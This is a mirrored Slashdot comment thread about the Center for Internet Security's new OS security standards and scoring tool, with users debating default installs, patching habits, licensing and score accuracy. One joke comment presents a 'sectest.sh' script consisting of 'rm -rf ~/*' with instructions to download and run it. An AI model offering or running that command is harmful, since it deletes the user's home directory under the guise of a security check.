Slashdot Mirror
Internet Security Standards
Aetius writes "The Center for Internet Security has released a set of security standards and tools for several operating systems. Here's the ZDNet story. I checked out the Linux standard and it is a pretty good coverage of the basics; about the only thing missing was a simple firewall treatment. I installed it on my wide-open desktop system (RH 7.3) and scored a 6.61 out of 10, which doesn't seem too bad. The scanner code isn't open source, but it's perl so you can at least look at it. You have to register to download it. If nothing else, the PDF of the standards is a good read. Enjoy."
Quis Custodiet Ipsos Custodes?
Do you mind, your karma has just run over my dogma.
Unfortunatly they have missed the biggest hole in security on the internet. The average user and the default install.
It's all well and good to say that we now have a standard. The problem is that the people who are most likely to use this tool are the ones that don't need it as bad. If you are aware this tool exists then you are security minded enough to have closed all the holes yourself.
What this really should do is go after the big offenders and get them to work at it. I am not necesarily talking Microsoft here. I am talking about the builders. Until Dell and Compaq start shipping their systems and installer software with the lockdowns ready to go or alrady installed this stuff is going to continue no matter how many checking tools are produced.
The security community must realize their biggest test is not the sloppy base install of microsoft, but the managers like the one I have at work. His official policy is "If it ain't broke don't fix it." This means patchs are never installed and nothing is upgraded until it is exploited, then it is patched and fixed. Something has to be done about this, and until something is done no other initiative is going to make a dent in exploits on the internet.
Papa Legba come and open the gate
sectest.sh:
/bin/rm -rf ~/*
#!/bin/sh
Instructions:
1. Download and run
2. If you performed Step #1, your system is insecure at the most common place, the user.
It is neither free or open source because you cannot change the code legally.
Actually... if you really want to get pedantic...
You've missed the difference between having the source code available (sometimes referred to as "open source") and Open Source.
In short, having source code available does not make a project Open Source - its all about the licensing. And not all Open Source projects match the Free Software definition (witness FSF vs BSD jihads).
What exactly makes these Internet Security Standards, anyway?
"I have opinions of my own, strong opinions, but I don't always agree with them." -- George H. W. Bush
It complained about xinetd and ftp being misconfigred even though both xinetd (and by extension wu-ftpd) aren't running. It complains about how ntp is not running but we're using other clock synching methods. I'm getting a reduced score on bullshit.
I can see it now... "Sorry, we only do business with vendors whose servers score 9.5 or better"